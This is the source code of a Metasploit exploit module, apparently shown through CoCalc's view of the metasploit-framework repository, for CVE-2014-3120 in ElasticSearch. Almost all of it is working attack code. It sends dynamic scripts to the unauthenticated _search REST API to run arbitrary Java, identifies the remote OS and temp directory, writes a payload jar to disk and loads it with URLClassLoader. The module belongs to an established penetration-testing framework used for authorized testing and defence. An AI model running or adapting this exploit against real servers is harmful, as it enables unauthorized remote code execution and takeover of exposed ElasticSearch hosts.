Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
17
'Description' => %q{
18
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
19
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
20
REST API, which does not require authentication, where the search
21
function allows dynamic scripts execution. It can be used for remote attackers
22
to execute arbitrary Java code. This module has been tested successfully on
23
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
24
},
25
'Author' => [
26
'Alex Brasetvik', # Vulnerability discovery
27
'Bouke van der Bijl', # Vulnerability discovery and PoC
28
'juan vazquez' # Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2014-3120'],
33
['OSVDB', '106949'],
34
['EDB', '33370'],
35
['URL', 'http://bouk.co/blog/elasticsearch-rce/'],
36
['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']
37
],
38
'Platform' => 'java',
39
'Arch' => ARCH_JAVA,
40
'Targets' => [
41
[ 'ElasticSearch 1.1.1 / Automatic', {} ]
42
],
43
'DisclosureDate' => '2013-12-09',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(9200),
56
OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),
57
OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])
58
]
59
)
60
end
61
62
def check
63
result = Exploit::CheckCode::Safe
64
65
if vulnerable?
66
result = Exploit::CheckCode::Vulnerable
67
end
68
69
result
70
end
71
72
def exploit
73
print_status("Trying to execute arbitrary Java...")
74
unless vulnerable?
75
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
76
end
77
78
print_status("Discovering remote OS...")
79
res = execute(java_os)
80
result = parse_result(res)
81
if result.nil?
82
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
83
else
84
# TODO: It'd be nice to report_host() with this info.
85
print_good("Remote OS is '#{result}'")
86
end
87
88
jar_file = ""
89
if result =~ /win/i
90
print_status("Discovering TEMP path")
91
res = execute(java_tmp_dir)
92
result = parse_result(res)
93
if result.nil?
94
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
95
else
96
print_good("TEMP path identified: '#{result}'")
97
end
98
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
99
else
100
jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
101
end
102
103
register_file_for_cleanup(jar_file)
104
execute(java_payload(jar_file))
105
end
106
107
def vulnerable?
108
java = 'System.getProperty("java.class.path")'
109
110
vprint_status("Trying to execute 'System.getProperty(\"java.version\")'...")
111
res = execute(java)
112
result = parse_result(res)
113
114
if result.nil?
115
vprint_status("No results for the Java test")
116
return false
117
elsif result =~ /elasticsearch/
118
vprint_status("Answer to Java test: #{result}")
119
return true
120
else
121
vprint_status("Answer to Java test: #{result}")
122
return false
123
end
124
end
125
126
def parse_result(res)
127
unless res
128
vprint_error("#{peer} no response")
129
return nil
130
end
131
132
unless res.code == 200 && res.body
133
vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
134
return nil
135
end
136
137
begin
138
json = JSON.parse(res.body.to_s)
139
rescue JSON::ParserError
140
return nil
141
end
142
143
begin
144
result = json['hits']['hits'][0]['fields']['msf_result']
145
rescue
146
return nil
147
end
148
149
result.is_a?(::Array) ? result.first : result
150
end
151
152
def to_java_byte_array(str)
153
buff = "byte[] buf = new byte[#{str.length}];\n"
154
i = 0
155
str.unpack('C*').each do |c|
156
buff << "buf[#{i}] = #{c};\n"
157
i = i + 1
158
end
159
160
buff
161
end
162
163
def java_os
164
"System.getProperty(\"os.name\")"
165
end
166
167
def java_tmp_dir
168
"System.getProperty(\"java.io.tmpdir\");"
169
end
170
171
def java_payload(file_name)
172
source = <<~EOF
173
import java.io.*;
174
import java.lang.*;
175
import java.net.*;
176
177
#{to_java_byte_array(payload.encoded_jar.pack)}
178
File f = new File('#{file_name.gsub(/\\/, "/")}');
179
FileOutputStream fs = new FileOutputStream(f);
180
bs = new BufferedOutputStream(fs);
181
bs.write(buf);
182
bs.close();
183
bs = null;
184
URL u = f.toURI().toURL();
185
URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});
186
Class c = cl.loadClass('metasploit.Payload');
187
c.main(null);
188
EOF
189
190
source
191
end
192
193
def execute(java)
194
payload = {
195
"size" => 1,
196
"query" => {
197
"filtered" => {
198
"query" => {
199
"match_all" => {}
200
}
201
}
202
},
203
"script_fields" => {
204
"msf_result" => {
205
"script" => java
206
}
207
}
208
}
209
210
res = send_request_cgi({
211
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
212
'method' => 'POST',
213
'data' => JSON.generate(payload)
214
})
215
216
return res
217
end
218
end
219
220